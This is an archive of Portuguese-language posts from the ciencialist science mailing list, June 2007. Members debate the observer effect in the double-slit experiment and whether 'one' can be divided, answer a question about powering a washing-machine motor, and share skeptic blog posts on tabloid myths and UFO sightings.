"Não importa o que fizeram a você.
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Jean-Paul Sartre (1905-1980)
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SUBJECT: p/Leo - medida de tubos
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/06/2007 16:40

Leo,
oi.
Vc já conseguiu resposta sobre a unidade ''french'', usada em medicina?
Se chegou poderemos confrontar.
Acionei minhas bases no mesmo dia, demorou e não foi fácil.
Na aguardatura. abr/M. SP 13/junh07




SUBJECT: Re: [ciencialist] Fw: Motor
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/06/2007 16:46

Isso é trabalho p/o Super-Tipoalgo e seu inversor-máximo...:)
Max tenho a intuixão de que o André Xilva vai acabar dexixtindo...:D


>From: "Alvaro Augusto (L)" <alvaro@lunabay.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: Re: [ciencialist] Fw: Motor
>Date: Wed, 13 Jun 2007 12:24:06 -0300
>
>Se entendi bem, o motor é do tipo de indução monofásico. Ele vai precisar
>de
>um inversor monofásico que converta a energia DC da bateria para energia AC
>de 60 Hz. Nada muito complicado.
>
>[ ]s
>
>Alvaro Augusto
>
>
>----- Original Message -----
>From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
>To: "ciencialist" <ciencialist@yahoogrupos.com.br>
>Sent: Wednesday, June 13, 2007 11:13 AM
>Subject: [ciencialist] Fw: Motor
>
>
>Que beleza!
>
>[]'
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> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
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>-----Mensagem Original-----
>De: André Silva
>Para: leobarretos@uol.com.br
>Enviada em: quinta-feira, 7 de junho de 2007 10:28
>Assunto: Motor
>
>
>Olaaaa...o meu nome e André i tirei um motor de uma maquina de lavar roupa,
>i queria por esse motor num carro que eu fix...como posso ligar o motor sem
>ser a uma ficha de electricidade....?
>
>Obrigado pela atenxao: André Silva
>
>Aguardo uma resposta
>
>
>--------------------------------------------------------------------------------
>
>
>No virus found in this incoming message.
>Checked by AVG Free Edition.
>Version: 7.5.472 / Virus Database: 269.8.13/843 - Release Date: 10/06/2007
>13:39
>
>
>[As partes desta mensagem que não continham texto foram removidas]
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SUBJECT: Re: Os que não dividivam o carro, tentando dividir o UM
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/06/2007 16:49

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Ferrari >>> Do fato que Um é Um, indivisivel.
>
> Takata >>> 1/2 = 0,5 (c.q.d.)
>
> --- Me mostre 0,5 na natureza.

Opção 1:
Pegue uma maçã e uma faca afiada. Aproxime o gume da faca sobre a maçã
q está parada sobre uma superfície firme. Faça um rápido movimento
para baixo e para a frente com a faca com gume pressionado contra a
maçã. Certifique-se de q a lâmida da faca fique alinhado em um dos
plano perpendiculares q passem pelo centro do fruto. Ao fim da
operação vc terá 2 x 0,5 maçã.

Requer um pouco de prática. Pode precisar de algumas bandagens.

Opção 2:
Pegue uma xícara e encha-a com água até a boca. Coloque-a sobre uma
balança de cozinha. Anote o valor e subtraia o valor marcado para a
xícara vazia. Deixe a xícara em local quente e seco. De tempos em
tempos meça a massa da xícara com o q restar de água. Qdo a medida
indicar um valor q corresponde ao valor da xícara vazia mais a metade
da diferença entre a xícara cheia e vazia vc terá 0,5 quantidade
original de água.

Opção 3:
Pegue uma folha de papel. Dobre-a de tal modo q uma das extremidades
encontre paralelamente a outra extremidade. Reforce o vinco e com uma
tesoura corte sobre a linha formada. Vc terá 2 x 0,5 folha.

Opção 4:
Pegue uma amostra pura de carbono-14. Deixe por cerca de 5.730 anos.
Ao fim, vc terá 0,5 amostra.

Opção 5:
Pegue 2 gramas de gás hidrogênio e 32 gramas de gás oxigênio. Acenda
uma faísca na mistura. Ao final vc terá 0,5 mol de gás oxigênio.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Uma "pequena" falha..:-) Animação da experiência da fenda dupla
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/06/2007 16:51

Olá pessoal

Amauri: "Só tenho que rir, pois quero provas disso tudo...:-)
Aliás, se é isso mesmo, aquele fenômeno que observamos os nossos corpos
inteiros no coma(chamado por mim de cérebro voador) não cai por terra não?"

Depois de longo e tenebroso inverno (ou eu deveria dizer, uma folga agradável e primaveril..:-), eis que retorna o Amauri. Sim, ele mesmo, o Amauri, das frases incompreensíveis (estilo Ferrari, mas um pouco menos articuladas..:-) e insondáveis mecanismos mentais.

É dose....:-)

Provas, Amauri, existem, mas apenas se puder compreender princípios básicos da física, o que não é seu caso (e aparentemetne nem do Ferrari). Os experimentos apresentados na animação foram feitos e podem ser repetidos, até por você, se se dispusesse a tentar (nem tente, nem tente..:-).

E que diabos o fenomeno de OOB (Out Of Body) tem a ver com isso tudo??!!??

É dose..:-)

Um abraço.

Homero


----- Original Message -----
From: Amauri Voltaire
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, June 13, 2007 4:29 PM
Subject: Re: [ciencialist] Uma "pequena" falha..:-) Animação da experiência da fenda dupla


Só tenho que rir, pois quero provas disso tudo...:-)

Aliás, se é isso mesmo, aquele fenômeno que observamos os nossos corpos
inteiros no coma(chamado por mim de cérebro voador) não cai por terra não?

sds

Em 12/06/07, Oraculo <oraculo@atibaia.com.br> escreveu:
>
> Olá Esteban
>
> A animação vai bem, quase até o final..:-) Acho que os físicos da lista
> podem corrigir melhor que eu, mas a alegação final oculta um fator
> importante, mas convenientemente "esquecido", do experimento.
>
> Quando o professor informa que foi instalado um dispositivo de observação,
> e ele demonstra isso com um "olho" mecânico, vai o aviso de que este
> dispositivo não "impede o elétron de seguir seu curso". E como todos nós
> temos a impressão que "ver", observar, pela experiência de nossa vida
> diária, é algo que não interfere com o que é visto (parece ser algo
> "natural"), ficamos com a impressão de que o dispositivo observador (o olho
> mecanico) também age dessa forma no mundo das particulas.
>
> Mas não é assim. O que o professor "esqueceu" de explicar é que não há
> forma conhecida de "observar" uma particula sub-atomica sem interferir com
> ela, sem modificar algo em seu comportamento. A "observação" nesse caso não
> é algo separado e independente do que é observado, mas algo dinâmico, que
> afeta o resultado da observação. É como tentar determinar a trajetória de
> uma bola de bilhar, não "olhando" para ela, mas enviando outras bolas de
> bilhar para se chocar com elas e analisar o resultado do choque.
>
> Nesse caso, o observador afeta o observado por uma questão natural,
> física, não transcendental ou esotérica. "Olhar" uma bola de bilhar, um
> objeto do macro-cosmo, não afeta de forma alguma a bola. Já "olhar" um
> elétron afeta, e tem de afetar, pois as formas de observar esta partícula é
> interagir com ela, em frequências de onda que são do "tamanho" do objeto
> observado (ou maior ou menor, e que produzem resultados diferentes em termos
> de precisão).
>
> O diabo é que eu gostei da animação, até quase o final..:-) Serviria de
> forma excelente para explicar as estranhezas da mecânica quantica para
> leigos, se não fosse essa "escorregada" final..:-)
>
> Um abraço.
>
> Homero
>
> ----- Original Message -----
> From: Esteban Moreno
> Sent: Tuesday, June 12, 2007 1:22 PM
> Subject: [ciencialist] Animação da experiência da fenda dupla
>
> Uma bela aula para refletir sobre os parodoxos da mecanica quântica:
>
> http://mojiti.com/kan/4192/13741/59852
>
> E.
>
> [As partes desta mensagem que não continham texto foram removidas]
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É só se cadastrar nos link abaixo:

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"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês

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SUBJECT: Re: [ciencialist] Uma "pequena" falha..:-) Animação da experiência da fenda dupla
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/06/2007 16:54

Olá Ferrari

P.Q.P!!!! Não há nenhuma outra coisa a dizer, a partir de tanta bobagem sem pé nem cabeça..:-) Dá preguiça até tentar explicar (de novo), processos físicos em relação aos termos "observar", detectar, ver, etc.

A sua ilusão de que sabe algo ou entende algo é forte demais, não há como debater sobre qualquer coisa. É fé, das fortes, e um monte de pretensão, ams nenhum interesse em saber ou aprender.

Para usar um termo bem infantil, "vá lamber sabão", Ferrari (no bom sentido, claro..:-)

Homero


----- Original Message -----
From: Ferrari
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, June 13, 2007 2:11 PM
Subject: Re: [ciencialist] Uma "pequena" falha..:-) Animação da experiência da fenda dupla


Homero >>> A "observação" nesse caso não é algo
separado e independente do que é observado, mas algo
dinâmico, que afeta o resultado da observação.

--- Isto é uma ilusão. A observação não altera a
realidade, altera apenas o mapa da realidade. Ondas e
particulas são mapas da realidade desde o inicio, não
são realidades.

Homero >>> O observador afeta o observado por uma
questão natural, física, não transcendental...

--- Que observação? Se a observação altera o observado
é porque o mapa deste (e não a realidade) é resultado
da qualidade da observação. E observação não tem nada
de fisica, nem racional, é transcendental mesmo.

--- Se não for, me digam, qual é a equação da
observação?

sinceramente
ferrari

--- Oraculo <oraculo@atibaia.com.br> escreveu:

> Olá Esteban
>
> A animação vai bem, quase até o final..:-) Acho que
> os físicos da lista podem corrigir melhor que eu,
> mas a alegação final oculta um fator importante, mas
> convenientemente "esquecido", do experimento.
>
> Quando o professor informa que foi instalado um
> dispositivo de observação, e ele demonstra isso com
> um "olho" mecânico, vai o aviso de que este
> dispositivo não "impede o elétron de seguir seu
> curso". E como todos nós temos a impressão que
> "ver", observar, pela experiência de nossa vida
> diária, é algo que não interfere com o que é visto
> (parece ser algo "natural"), ficamos com a impressão
> de que o dispositivo observador (o olho mecanico)
> também age dessa forma no mundo das particulas.
>
> Mas não é assim. O que o professor "esqueceu" de
> explicar é que não há forma conhecida de "observar"
> uma particula sub-atomica sem interferir com ela,
> sem modificar algo em seu comportamento. A
> "observação" nesse caso não é algo separado e
> independente do que é observado, mas algo dinâmico,
> que afeta o resultado da observação. É como tentar
> determinar a trajetória de uma bola de bilhar, não
> "olhando" para ela, mas enviando outras bolas de
> bilhar para se chocar com elas e analisar o
> resultado do choque.
>
> Nesse caso, o observador afeta o observado por uma
> questão natural, física, não transcendental ou
> esotérica. "Olhar" uma bola de bilhar, um objeto do
> macro-cosmo, não afeta de forma alguma a bola. Já
> "olhar" um elétron afeta, e tem de afetar, pois as
> formas de observar esta partícula é interagir com
> ela, em frequências de onda que são do "tamanho" do
> objeto observado (ou maior ou menor, e que produzem
> resultados diferentes em termos de precisão).
>
> O diabo é que eu gostei da animação, até quase o
> final..:-) Serviria de forma excelente para explicar
> as estranhezas da mecânica quantica para leigos, se
> não fosse essa "escorregada" final..:-)
>
> Um abraço.
>
> Homero
>
>
>
> ----- Original Message -----
> From: Esteban Moreno
> Sent: Tuesday, June 12, 2007 1:22 PM
> Subject: [ciencialist] Animação da experiência da
> fenda dupla
>
>
> Uma bela aula para refletir sobre os parodoxos da
> mecanica quântica:
>
> http://mojiti.com/kan/4192/13741/59852
>
> E.
>
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> foram removidas]
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SUBJECT: Re: Os que não dividivam o carro, tentando dividir o UM
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/06/2007 16:56

O Ferrari está ficando cada vez mais estranho. Antes ele defendia q o
carro só podia ser dividido aumentando-se o espaço vazio entre as
partes, agora ele defende q não se pode nem mesmo dividir o carro por
esse meio.

Será q a operação de dividir ou as frações causam traumas tão sérios
assim?

[]s,

Roberto Takata



SUBJECT: Re: Uma "pequena" falha..:-) Animação da experiência da fenda dupla
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/06/2007 17:03

--- Em ciencialist@yahoogrupos.com.br, "Oraculo" <oraculo@...>
> A sua ilusão de que sabe algo ou entende algo é forte demais, não há
> como debater sobre qualquer coisa. É fé, das fortes, e um monte de
> pretensão, ams nenhum interesse em saber ou aprender.

O Ferrari é um embromer (adepto do embromation) bem típico. Faz uma
afirmação espalhafatosa A. Qdo apresentam a refutação de A, ele faz
pelo menos uma de três coisas:
1 - Ignora a refutação e insiste em A;
2 - Parte para uma alegação mais espalhafatosa B;
3 - Tergiversa.

No caso 2, a operação se repete. E, após vários ciclos, ele volta para
a afirmação espalhafatosa A.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Uma "pequena" falha..:-) Animação da experiência da fenda dupla
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/06/2007 17:07

FILOSOFICAMENTE, o ''UM'' é indivisível.
O ''UM'', a essência, só ''permite'' sua própria e infinita multiplicidade.
( acho que é nisso que o Ferrari quer chegar.)
abr/M.


>From: "Oraculo" <oraculo@atibaia.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: Re: [ciencialist] Uma "pequena" falha..:-) Animação da experiência
>da fenda dupla
>Date: Wed, 13 Jun 2007 16:54:34 -0300
>
>Olá Ferrari
>
>P.Q.P!!!! Não há nenhuma outra coisa a dizer, a partir de tanta bobagem sem
>pé nem cabeça..:-) Dá preguiça até tentar explicar (de novo), processos
>físicos em relação aos termos "observar", detectar, ver, etc.
>
>A sua ilusão de que sabe algo ou entende algo é forte demais, não há como
>debater sobre qualquer coisa. É fé, das fortes, e um monte de pretensão,
>ams nenhum interesse em saber ou aprender.
>
>Para usar um termo bem infantil, "vá lamber sabão", Ferrari (no bom
>sentido, claro..:-)
>
>Homero
>
>
> ----- Original Message -----
> From: Ferrari
> To: ciencialist@yahoogrupos.com.br
> Sent: Wednesday, June 13, 2007 2:11 PM
> Subject: Re: [ciencialist] Uma "pequena" falha..:-) Animação da
>experiência da fenda dupla
>
>
> Homero >>> A "observação" nesse caso não é algo
> separado e independente do que é observado, mas algo
> dinâmico, que afeta o resultado da observação.
>
> --- Isto é uma ilusão. A observação não altera a
> realidade, altera apenas o mapa da realidade. Ondas e
> particulas são mapas da realidade desde o inicio, não
> são realidades.
>
> Homero >>> O observador afeta o observado por uma
> questão natural, física, não transcendental...
>
> --- Que observação? Se a observação altera o observado
> é porque o mapa deste (e não a realidade) é resultado
> da qualidade da observação. E observação não tem nada
> de fisica, nem racional, é transcendental mesmo.
>
> --- Se não for, me digam, qual é a equação da
> observação?
>
> sinceramente
> ferrari
>
> --- Oraculo <oraculo@atibaia.com.br> escreveu:
>
> > Olá Esteban
> >
> > A animação vai bem, quase até o final..:-) Acho que
> > os físicos da lista podem corrigir melhor que eu,
> > mas a alegação final oculta um fator importante, mas
> > convenientemente "esquecido", do experimento.
> >
> > Quando o professor informa que foi instalado um
> > dispositivo de observação, e ele demonstra isso com
> > um "olho" mecânico, vai o aviso de que este
> > dispositivo não "impede o elétron de seguir seu
> > curso". E como todos nós temos a impressão que
> > "ver", observar, pela experiência de nossa vida
> > diária, é algo que não interfere com o que é visto
> > (parece ser algo "natural"), ficamos com a impressão
> > de que o dispositivo observador (o olho mecanico)
> > também age dessa forma no mundo das particulas.
> >
> > Mas não é assim. O que o professor "esqueceu" de
> > explicar é que não há forma conhecida de "observar"
> > uma particula sub-atomica sem interferir com ela,
> > sem modificar algo em seu comportamento. A
> > "observação" nesse caso não é algo separado e
> > independente do que é observado, mas algo dinâmico,
> > que afeta o resultado da observação. É como tentar
> > determinar a trajetória de uma bola de bilhar, não
> > "olhando" para ela, mas enviando outras bolas de
> > bilhar para se chocar com elas e analisar o
> > resultado do choque.
> >
> > Nesse caso, o observador afeta o observado por uma
> > questão natural, física, não transcendental ou
> > esotérica. "Olhar" uma bola de bilhar, um objeto do
> > macro-cosmo, não afeta de forma alguma a bola. Já
> > "olhar" um elétron afeta, e tem de afetar, pois as
> > formas de observar esta partícula é interagir com
> > ela, em frequências de onda que são do "tamanho" do
> > objeto observado (ou maior ou menor, e que produzem
> > resultados diferentes em termos de precisão).
> >
> > O diabo é que eu gostei da animação, até quase o
> > final..:-) Serviria de forma excelente para explicar
> > as estranhezas da mecânica quantica para leigos, se
> > não fosse essa "escorregada" final..:-)
> >
> > Um abraço.
> >
> > Homero
> >
> >
> >
> > ----- Original Message -----
> > From: Esteban Moreno
> > Sent: Tuesday, June 12, 2007 1:22 PM
> > Subject: [ciencialist] Animação da experiência da
> > fenda dupla
> >
> >
> > Uma bela aula para refletir sobre os parodoxos da
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> > E.
> >
> > [As partes desta mensagem que não continham texto
> > foram removidas]
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>[As partes desta mensagem que não continham texto foram removidas]
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SUBJECT: Re: [ciencialist] Uma "pequena" falha..:-) Animação da experiência da fenda dupla
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/06/2007 17:28

Olá Murilo

Murilo: "FILOSOFICAMENTE, o ''UM'' é indivisível.
O ''UM'', a essência, só ''permite'' sua própria e infinita multiplicidade.
( acho que é nisso que o Ferrari quer chegar.)"

Filosoficamente, ou seja, sem base na realidade ou em considerações concretas e objetivas, o UM pode ser TRES, como na mitologia católica, ou pode ser DOIS, como no Ying e Yang, ou pode ser quase qualquer coisa que se deseje, desde que bem enfeitado.

Entretanto, nada disso tem algo a ver com a física ou com a natureza deste universo, ou com nosso entendimento deste, ou com a produção de conhecimento científico, ou com qualquer coisa remotamente ligada a realidade.

Por isso cientistas são extremamente cuidadosos com a definição e alcance dos termos que usam, e por isso o Ferrari já foi acusado de apresentar "terminologia relaxada" e "raciocínio malconexo". Na física, a unidade, o um, pode ser dividida até partículas subatomicas, e existe espaço entre elas e entre objetos, e nada disso tem a ver com o conceito filosofico que o Ferrari tem do termo UM.

Um abraço.

Homero



----- Original Message -----
From: murilo filo
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, June 13, 2007 5:07 PM
Subject: Re: [ciencialist] Uma "pequena" falha..:-) Animação da experiência da fenda dupla


FILOSOFICAMENTE, o ''UM'' é indivisível.
O ''UM'', a essência, só ''permite'' sua própria e infinita multiplicidade.
( acho que é nisso que o Ferrari quer chegar.)
abr/M.

>From: "Oraculo" <oraculo@atibaia.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: Re: [ciencialist] Uma "pequena" falha..:-) Animação da experiência
>da fenda dupla
>Date: Wed, 13 Jun 2007 16:54:34 -0300
>
>Olá Ferrari
>
>P.Q.P!!!! Não há nenhuma outra coisa a dizer, a partir de tanta bobagem sem
>pé nem cabeça..:-) Dá preguiça até tentar explicar (de novo), processos
>físicos em relação aos termos "observar", detectar, ver, etc.
>
>A sua ilusão de que sabe algo ou entende algo é forte demais, não há como
>debater sobre qualquer coisa. É fé, das fortes, e um monte de pretensão,
>ams nenhum interesse em saber ou aprender.
>
>Para usar um termo bem infantil, "vá lamber sabão", Ferrari (no bom
>sentido, claro..:-)
>
>Homero
>
>
> ----- Original Message -----
> From: Ferrari
> To: ciencialist@yahoogrupos.com.br
> Sent: Wednesday, June 13, 2007 2:11 PM
> Subject: Re: [ciencialist] Uma "pequena" falha..:-) Animação da
>experiência da fenda dupla
>
>
> Homero >>> A "observação" nesse caso não é algo
> separado e independente do que é observado, mas algo
> dinâmico, que afeta o resultado da observação.
>
> --- Isto é uma ilusão. A observação não altera a
> realidade, altera apenas o mapa da realidade. Ondas e
> particulas são mapas da realidade desde o inicio, não
> são realidades.
>
> Homero >>> O observador afeta o observado por uma
> questão natural, física, não transcendental...
>
> --- Que observação? Se a observação altera o observado
> é porque o mapa deste (e não a realidade) é resultado
> da qualidade da observação. E observação não tem nada
> de fisica, nem racional, é transcendental mesmo.
>
> --- Se não for, me digam, qual é a equação da
> observação?
>
> sinceramente
> ferrari
>
> --- Oraculo <oraculo@atibaia.com.br> escreveu:
>
> > Olá Esteban
> >
> > A animação vai bem, quase até o final..:-) Acho que
> > os físicos da lista podem corrigir melhor que eu,
> > mas a alegação final oculta um fator importante, mas
> > convenientemente "esquecido", do experimento.
> >
> > Quando o professor informa que foi instalado um
> > dispositivo de observação, e ele demonstra isso com
> > um "olho" mecânico, vai o aviso de que este
> > dispositivo não "impede o elétron de seguir seu
> > curso". E como todos nós temos a impressão que
> > "ver", observar, pela experiência de nossa vida
> > diária, é algo que não interfere com o que é visto
> > (parece ser algo "natural"), ficamos com a impressão
> > de que o dispositivo observador (o olho mecanico)
> > também age dessa forma no mundo das particulas.
> >
> > Mas não é assim. O que o professor "esqueceu" de
> > explicar é que não há forma conhecida de "observar"
> > uma particula sub-atomica sem interferir com ela,
> > sem modificar algo em seu comportamento. A
> > "observação" nesse caso não é algo separado e
> > independente do que é observado, mas algo dinâmico,
> > que afeta o resultado da observação. É como tentar
> > determinar a trajetória de uma bola de bilhar, não
> > "olhando" para ela, mas enviando outras bolas de
> > bilhar para se chocar com elas e analisar o
> > resultado do choque.
> >
> > Nesse caso, o observador afeta o observado por uma
> > questão natural, física, não transcendental ou
> > esotérica. "Olhar" uma bola de bilhar, um objeto do
> > macro-cosmo, não afeta de forma alguma a bola. Já
> > "olhar" um elétron afeta, e tem de afetar, pois as
> > formas de observar esta partícula é interagir com
> > ela, em frequências de onda que são do "tamanho" do
> > objeto observado (ou maior ou menor, e que produzem
> > resultados diferentes em termos de precisão).
> >
> > O diabo é que eu gostei da animação, até quase o
> > final..:-) Serviria de forma excelente para explicar
> > as estranhezas da mecânica quantica para leigos, se
> > não fosse essa "escorregada" final..:-)
> >
> > Um abraço.
> >
> > Homero
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> > ----- Original Message -----
> > From: Esteban Moreno
> > Sent: Tuesday, June 12, 2007 1:22 PM
> > Subject: [ciencialist] Animação da experiência da
> > fenda dupla
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SUBJECT: Como bronzear-se no xerox e a mulher com peitos nas costas: notícias do mundo
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 13/06/2007 17:46

Como bronzear-se no xerox e a mulher com peitos nas costas: not�cias do
mundo <http://100nexos.com/arquivo/172><http://100nexos.com/arquivo/172#respond>

<http://www.papelcontinuo.net/443/noticias-del-mundo/>
A not�cia de que o aster�ide Pallas iria colidir em alguns
meses<http://www.ceticismoaberto.com/news/?p=899>� apenas um detalhe
(e uma reedi��o) das not�cias do mundo, ou Weekly
World News <http://www.weeklyworldnews.com/>, como � mais conhecido o
tabl�ide. Em meados dos anos 90, uma vers�o foi publicada na Espanha, e o
blog Papel Continuo <http://www.papelcontinuo.net/> disponibiliza v�rias
p�ginas com p�rolas jornal�sticas
fascinantes<http://www.papelcontinuo.net/443/noticias-del-mundo/>.
A lista � intermin�vel: no n�mero
1<http://www.papelcontinuo.net/444/los-noticias-del-mundo-completos/>,
a c�mera de Herbert Von Krish que permite saber se as pessoas ir�o para o
c�u ou inferno (com fotos, claro!), como bronzear-se em uma fotocopiadora
(34 passadas s�o o suficiente) ou� o cometa que ir� atingir a Terra em 8 de
novembro. De 1994. "Ins�lito. Assombroso. *Real*."
A vers�o original em ingl�s, Weekly World
News<http://en.wikipedia.org/wiki/Weekly_World_News>,
continua sendo publicada desde 1980, e � um cl�ssico. Desde suas
fotomontagens de presidentes encontrando-se com
alien�genas<http://marcianitosverdes.haaan.com/2006/08/marcianitos-en-las-campanas-politicas/>,
que voc� confere acima, at� lendas urbanas bem conhecidas, como a das vozes
do inferno <http://www.quatrocantos.com/lendas/109_vozes_do_inferno.htm>,
cuja fotografia da nuvem em forma de Sat� � bem
conhecida<http://www.ceticismoaberto.com/fotos/fotofantasma19.htm>.
Abaixo vemos como a nuvem de Sat� se encontrou com a nuvem de Jesus. Mais
not�cias do mundo:

Alguns mitos inventados pelo tabl�ide repercutem bastante, como a nuvem do
caos <http://www.ceticismoaberto.com/news/?p=37> ou a hist�ria do viajante
do tempo Andrew Carlssin <http://zamorim.com/textos/viajantedotempo.html>.
Alguns ficam intrigados pelo fato de que o tabl�ide noticia *alguns *fatos
concretos. A este autor, o mais curioso, � que algumas not�cias inventadas
pelo tabl�ide acabam se confirmando no mundo real � como a fam�lia vivendo
em um banheiro p�blico, ou pessoas com chifres na
cabe�a<http://marcianitosverdes.haaan.com/2007/02/hombres-cornudos/>.
Seja como for, ningu�m que leia o tabl�ide inteiro concluir� que seja uma
fonte s�ria de informa��es. � imposs�vel n�o rir das not�cias do
mundo<http://www.flickr.com/photos/papelcontinuo/sets/72157600180186373/>
.

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n�o est� no trabalho ...


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Re: [ciencialist] Uma "pequena" falha..:-) Animação da experiência da fenda dupla
FROM: "Marcelo Cortimiglia" <cortimiglia@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/06/2007 18:09

Em 13/06/07, Ferrari <emailferrari@yahoo.com.br> escreveu:
>
> Homero >>> A "observação" nesse caso não é algo
> separado e independente do que é observado, mas algo
> dinâmico, que afeta o resultado da observação.
>
> --- Isto é uma ilusão. A observação não altera a
> realidade, altera apenas o mapa da realidade. Ondas e
> particulas são mapas da realidade desde o inicio, não
> são realidades.
>
> Homero >>> O observador afeta o observado por uma
> questão natural, física, não transcendental...
>
> --- Que observação? Se a observação altera o observado
> é porque o mapa deste (e não a realidade) é resultado
> da qualidade da observação. E observação não tem nada
> de fisica, nem racional, é transcendental mesmo.
>
> --- Se não for, me digam, qual é a equação da
> observação?
>

Quanta bobagem. So rindo mesmo.

Homero, tambem gostei bastante da animacao.

Abracos,

Marcelo Cortimiglia

> sinceramente
> ferrari
>
> --- Oraculo <oraculo@atibaia.com.br> escreveu:
>
>
> > Olá Esteban
> >
> > A animação vai bem, quase até o final..:-) Acho que
> > os físicos da lista podem corrigir melhor que eu,
> > mas a alegação final oculta um fator importante, mas
> > convenientemente "esquecido", do experimento.
> >
> > Quando o professor informa que foi instalado um
> > dispositivo de observação, e ele demonstra isso com
> > um "olho" mecânico, vai o aviso de que este
> > dispositivo não "impede o elétron de seguir seu
> > curso". E como todos nós temos a impressão que
> > "ver", observar, pela experiência de nossa vida
> > diária, é algo que não interfere com o que é visto
> > (parece ser algo "natural"), ficamos com a impressão
> > de que o dispositivo observador (o olho mecanico)
> > também age dessa forma no mundo das particulas.
> >
> > Mas não é assim. O que o professor "esqueceu" de
> > explicar é que não há forma conhecida de "observar"
> > uma particula sub-atomica sem interferir com ela,
> > sem modificar algo em seu comportamento. A
> > "observação" nesse caso não é algo separado e
> > independente do que é observado, mas algo dinâmico,
> > que afeta o resultado da observação. É como tentar
> > determinar a trajetória de uma bola de bilhar, não
> > "olhando" para ela, mas enviando outras bolas de
> > bilhar para se chocar com elas e analisar o
> > resultado do choque.
> >
> > Nesse caso, o observador afeta o observado por uma
> > questão natural, física, não transcendental ou
> > esotérica. "Olhar" uma bola de bilhar, um objeto do
> > macro-cosmo, não afeta de forma alguma a bola. Já
> > "olhar" um elétron afeta, e tem de afetar, pois as
> > formas de observar esta partícula é interagir com
> > ela, em frequências de onda que são do "tamanho" do
> > objeto observado (ou maior ou menor, e que produzem
> > resultados diferentes em termos de precisão).
> >
> > O diabo é que eu gostei da animação, até quase o
> > final..:-) Serviria de forma excelente para explicar
> > as estranhezas da mecânica quantica para leigos, se
> > não fosse essa "escorregada" final..:-)
> >
> > Um abraço.
> >
> > Homero
> >
> >
> >
> > ----- Original Message -----
> > From: Esteban Moreno
> > Sent: Tuesday, June 12, 2007 1:22 PM
> > Subject: [ciencialist] Animação da experiência da
> > fenda dupla
> >
> >
> > Uma bela aula para refletir sobre os parodoxos da
> > mecanica quântica:
> >
> > http://mojiti.com/kan/4192/13741/59852
> >
> > E.
> >
> > [As partes desta mensagem que não continham texto
> > foram removidas]
> >
> >
> >
> >
> >
> > [As partes desta mensagem que não continham texto
> > foram removidas]
> >
> >
>
> EXPERIMENTE XIXI COM TINTA (novo livro do Ferrari):
> http://www.livrosvirtuais.com.br/vivali.asp?loja=1186&div=&link=VerProduto&Produto=97664
>
> MEU PORTAL:
> http://marceloferrari.blogspot.com
>
> Para receber meus textos inéditos (de literatura), envie um email para:
> mferrari-subscribe@yahoogrupos.com.br
>


SUBJECT: Invasão de “sondas”
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 13/06/2007 19:49

Invas�o de "sondas" <http://www.ceticismoaberto.com/news/?p=903>

<http://www.tvinfa.com.br/>

Nos �ltimos anos, diversos pa�ses tem sido palco de invas�o de "sondas", ou
seja, centenas de bolas brancas nos c�us. Muitos afirmam que se trata de
sondas de origem extraterrestres e que tem movimentos inteligentes. Isso
iniciou no M�xico, depois Chile, Peru e tamb�m no Brasil, mais precisamente
em S�o Paulo. Parece que as Aeron�uticas desses pa�ses pouco se importaram,
pois em nenhum instante acionaram seus ca�as para uma aproxima��o e
identifica��o. Alguns acham que � o fim do mundo e que seremos escravizados
pelos extraterrestres. Vejam os v�deos e tirem as suas pr�prias conclus�es.
� 32 Mb - 7 minutos <http://www.tvinfa.com.br/>

Postado em Ufologia <http://www.ceticismoaberto.com/news/?cat=2>,
Fortianismo <http://www.ceticismoaberto.com/news/?cat=4>,
Ceticismo<http://www.ceticismoaberto.com/news/?cat=12>| Por Mori
Comente!
� <http://www.ceticismoaberto.com/news/?p=903#respond>

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SUBJECT: Re: [ciencialist] Uma "pequena" falha..:-) Animação da experiência da fenda dupla
